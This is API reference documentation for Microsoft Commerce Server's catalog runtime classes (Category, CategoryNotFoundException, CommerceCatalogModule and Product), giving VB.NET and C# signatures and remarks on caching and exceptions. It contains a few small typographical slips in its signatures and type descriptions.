The CanonicalCategoryPath property is a read-only String that gets the names of the categories that form a canonical path to this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CanonicalCategoryPath As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CanonicalCategoryPath {get;}

Property Value

A ReadOnlyStringCollection that contains the categories.

Remarks

The first element in the array is a child of the root category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached. If a category does not have a primary parent category, then an arbitrary parent is chosen as the parent. If this category is a root category, the returned array is empty.

In case of parent ambiguity, it chooses an arbitrary parent to be the canonical parent.

This list is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.CatalogContext Property (BCL)

The CatalogContext property is a read-only String that gets the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

The CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ChildCategoriesCount Property (BCL)

The ChildCategoriesCount property is a read-only String that gets the number of categories that are immediate children of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ChildCategoriesCount As System.Int32
[C#]
public virtual System.Int32 ChildCategoriesCount {get;}

Property Value

A System.Int32 that contains the count.

Remarks

Throws a CatalogException on failure.

This information is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ChildCategoryNames Property (BCL)

The ChildCategoryNames property is a read-only String that gets the names of the categories that are immediate children of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ChildCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ChildCategoryNames {get;}

Property Value

A ReadOnlyStringCollection object that contains the child category names.

Remarks

Throws a CatalogException on failure. The list of child category names is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ChildProductsCount Property (BCL)

The ChildProductsCount property is a read-only String that gets the number of products that are immediate children of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ChildProductsCount As System.Int32
[C#]
public virtual System.Int32 ChildProductsCount {get;}

Property Value

A System.Int32 that contains the count.

Remarks

Throws a CatalogException on failure.

This information is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.DebugContext Property (BCL)

The DebugContext property is a read-only String that gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object that gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.Name Property (BCL)

The Name property is a read-only String that gets the name of the category.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String object that contains the name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ParentCategoryNames Property (BCL)

The ParentCategoryNames property is a read-only String that gets the names of the categories that are immediate parents of this category in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ParentCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ParentCategoryNames {get;}

Property Value

A ReadOnlyStringCollection object that contains the parent category names.

Remarks

If this category is a root category, the returned array is empty. The list of parent category names is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.PrimaryParentCategoryName Property (BCL)

The PrimaryParentCategoryName property is a read-only String that gets the name of the primary parent category of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PrimaryParentCategoryName As System.String
[C#]
public virtual System.String PrimaryParentCategoryName {get;}

Property Value

A System.String object that contains the name of the primary parent.

Remarks

The primary parent category name is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Category.ProductCatalog Property (BCL)

The ProductCatalog property is a read-only String that gets the ProductCatalog object for the catalog that contains this category.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductCatalog As ProductCatalog
[C#]
public ProductCatalog ProductCatalog {get;}

Property Value

The ProductCatalog object that gets the ProductCatalog object for the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Class (BCL)

Exception thrown when the category is not found.

Public Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor | Creates a new instance of the Microsoft.CommerceServer.Runtime.dll class.
CategoryNotFoundException Constructor (String) | Creates a new instance of the CategoryNotFoundException class with the specified message.
CategoryNotFoundException Constructor (String, String) | Creates a new instance of the CategoryNotFoundException class with the specified catalog name and category name.
CategoryNotFoundException Constructor (String, Exception) | Creates a new instance of the CategoryNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CategoryNotFoundException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
CategoryName | Gets the CategoryName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor | Creates a new instance of the Microsoft.CommerceServer.Runtime.dll class.
CategoryNotFoundException Constructor (String) | Creates a new instance of the CategoryNotFoundException class with the specified message.
CategoryNotFoundException Constructor (String, String) | Creates a new instance of the CategoryNotFoundException class with the specified catalog name and category name.
CategoryNotFoundException Constructor (String, Exception) | Creates a new instance of the CategoryNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CategoryNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CategoryNotFoundException class with the specified serialization information and streaming context.


CategoryNotFoundException Constructor (BCL)

Use this method to create a new instance of the CategoryNotFoundException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CategoryNotFoundException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CategoryNotFoundException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (String) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CategoryNotFoundException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CategoryNotFoundException object.
[C#]
message
A System.String containing the message to include in the CategoryNotFoundException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (String, String) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified catalog name and category name.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String, _
  ByVal categoryName As System.String _
)
[C#]
public CategoryNotFoundException(
  System.String catalogName,
  System.String categoryName
);

Parameters

[Visual Basic .NET]
catalogName
A System.String containing the catalog name.
categoryName
A System.String containing the category name.
[C#]
catalogName
A System.String containing the catalog name.
categoryName
A System.String containing the category name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CategoryNotFoundException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CategoryNotFoundSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CategoryNotFoundException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CategoryNotFoundException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CategoryNotFoundException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
CategoryName | Gets the CategoryName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CategoryNotFoundException.CatalogName Property (BCL)

The CatalogName property gets the name of the catalog.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogName As System.Object
[C#]
public System.Object CatalogName {get;}

Property Value

A System.String that contains the name of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException.CategoryName Property (BCL)

The CategoryName property gets the name of the category.

Definition

[Visual Basic .NET]
Public ReadOnly Property CategoryName As System.Object
[C#]
public System.Object CategoryName {get;}

Property Value

A System.String that contains the name of the category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Class (BCL)

The CommerceCatalogModule class is responsible for creating the default CatalogContext object for the site.

Public Instance Constructor

Constructor | Description
CommerceCatalogModule Constructor | Creates a new instance of the CommerceCatalogModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Event handler for HttpApplication BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized(Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initalialized.

Public Static (Shared) Properties

Property | Description
CatalogContext | Gets the default CatalogContext instance created by the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCatalogModule Constructor | Creates a new instance of the CommerceCatalogModule class.


CommerceCatalogModule Constructor (BCL)

Use this method to create a new instance of the CommerceCatalogModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCatalogModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Event handler for HttpApplication BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceCatalogModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

Subscribes to BeginRequest events.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method to handle HttpApplication BeginRequest events.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
EventArgs containing events.
[C#]
sender
The HttpApplication instance that sent the event.
e
EventArgs containing events.

Return Value

This method sets the CatalogContext member of the current CommerceContext object.

Remarks

Sets the CatalogContext member of the current CommerceContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized(Inherited from CommerceModule) | Gets a Boolean that is set to true when the CommerceModule class instance has been initalialized.

Public Static (Shared) Properties

Property | Description
CatalogContext | Gets the default CatalogContext instance created by the module.


CommerceCatalogModule.CatalogContext Property (BCL)

The CatalogContext property gets the default CatalogContext instance created by the module.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

The default CatalogContext instance created by the module.

Remarks

The value will be null if the CommerceCatalogModule object was not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.CatalogSystem property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Class (BCL)

Represents a product in a product catalog. A Product object should be referenced only on the page in which it was created.

Protected Instance Constructor

Constructor | Description
Product Constructor(ProductCatalog, String) | Creates a new instance of the Product class.

Public Instance Methods

Method | Description
Dispose | Releases the resources used by this object.
GetProductProperties | Gets the properties for the product.
GetRelatedCategories | Gets the category relationships for this product.
GetRelatedProducts | Gets the product relationships for this product.
GetVariantProperties(Object) | Returns the properties for a specific product variant of this product.
GetVariants(CatalogSearchOptions) | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.
GetVariants | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all categories that are above this product in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this product. The first element in the array is a child of the "root" category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object to which this Product object belongs.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this product in the category hierarchy.
PrimaryParentCategoryName | The primary parent category name is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.
ProductCatalog | Gets the ProductCatalog object that contains this product.
ProductId | Gets the product ID of this product.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.

Remarks

There is no public constructor for the Product object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Constructor (BCL)

Protected Instance Constructor

Constructor | Description
Product Constructor(ProductCatalog, String) | Creates a new instance of the Product class.


Product Constructor (ProductCatalog, String) (BCL)

Use this method to create a new instance of the Product class.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal catalog As ProductCatalog, _
  ByVal productId As System.String _
)
[C#]
rotected Product(
  ProductCatalog catalog,
  System.String productId
);

Parameters

[Visual Basic .NET]
catalog
The product catalog. May not be null.
productId
The product ID field. May not be null.
[C#]
catalog
The product catalog. May not be null.
productId
The product ID field. May not be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases the resources used by this object.
GetProductProperties | Gets the properties for the product.
GetRelatedCategories | Gets the category relationships for this product.
GetRelatedProducts | Gets the product relationships for this product.
GetVariantProperties(Object) | Returns the properties for a specific product variant of this product.
GetVariants(CatalogSearchOptions) | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.
GetVariants | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.


Product.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the Product.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.
[C#]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetProductProperties Method (BCL)

Use this method to get the properties for the product.

Definition

[Visual Basic .NET]
Overridable Public Function GetProductProperties( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProductProperties(
);

Return Value

A DataSet containing a single DataTable with the product properties in it.

Remarks

Throws a CatalogException on error.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetRelatedCategories Method (BCL)

Use this method to get the category relationships for this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedCategories(
);

Return Value

A DataSet containing a single DataTable with the following columns: CategoryName, RelationshipName, RelationshipDescription, TargetCatalog.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetRelatedProducts Method (BCL)

Use this method to get the product relationships for this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedProducts(
);

Return Value

A DataSet containing a single DataTable with the following columns: ProductId, RelationshipName, RelationshipDescription, TargetCatalog.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetVariantProperties (Object) Method (BCL)

Use this method to return the properties for a specific product variant of this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetVariantProperties( _
  ByVal variantId As System.Object _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetVariantProperties(
  System.Object variantId
);

Parameters

[Visual Basic .NET]
variantId
The ID of the variant. May not be null.
[C#]
variantId
The ID of the variant. May not be null.

Return Value

A DataSet containing a single DataTable with the variant properties.

Remarks

Throws an ArgumentNullException if the variantId parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetVariants Method (BCL)

Use this method to return the properties for all product variants of this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetVariants( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetVariants(
);

Return Value

A DataSet containing a single DataTable with the variant properties.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetVariants (CatalogSearchOptions) Method (BCL)

Use this method to return the properties for all product variants of this product in the sort order specified in the searchOptions parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetVariants( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetVariants(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
SearchOptions object specifying sort order.
[C#]
searchOptions
SearchOptions object specifying sort order.

Return Value

A DataSet containing a single DataTable with the variant properties in the sort order specified by searchOptions.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Properties (BCL)

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all categories that are above this product in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this product. The first element in the array is a child of the "root" category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object to which this Product object belongs.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this product in the category hierarchy.
PrimaryParentCategoryName | Gets the name of the primary parent category of this product.
ProductCatalog | Gets the ProductCatalog object that contains this product.
ProductId | Gets the product ID of this product.


Product.AncestorCategoryNames Property (BCL)

The AncestorCategoryNames property gets the names of all categories that are above this product in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property AncestorCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection AncestorCategoryNames {get;}

Property Value

ReadOnlyStringCollection object that contains the names of all categories that are above this product in the category hierarchy.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

If this product is a root product, the returned array is empty.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.CanonicalCategoryPath Property (BCL)

The CanonicalCategoryPath property gets the names of the categories that form a canonical path to this product. The first element in the array is a child of the "root" category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CanonicalCategoryPath As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CanonicalCategoryPath {get;}

Property Value

ReadOnlyStringCollection object that contains the names of the categories that form a canonical path to this product.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

If this product is a root product, the returned array is empty.

Throws a CatalogException on failure.

In case of parent ambiguity, it arbitrarily chooses a random parent to be the canonical parent. This iterates through the parent chain and hence it can be a costly method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.CatalogContext Property (BCL)

The CatalogContext property gets the CatalogContext object that was used to create the ProductCatalog object to which this Product object belongs.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

CatalogContext object that was used to create the ProductCatalog object to which this Product object now belongs.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.DebugContext Property (BCL)

The DebugContext property gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.

Requirements

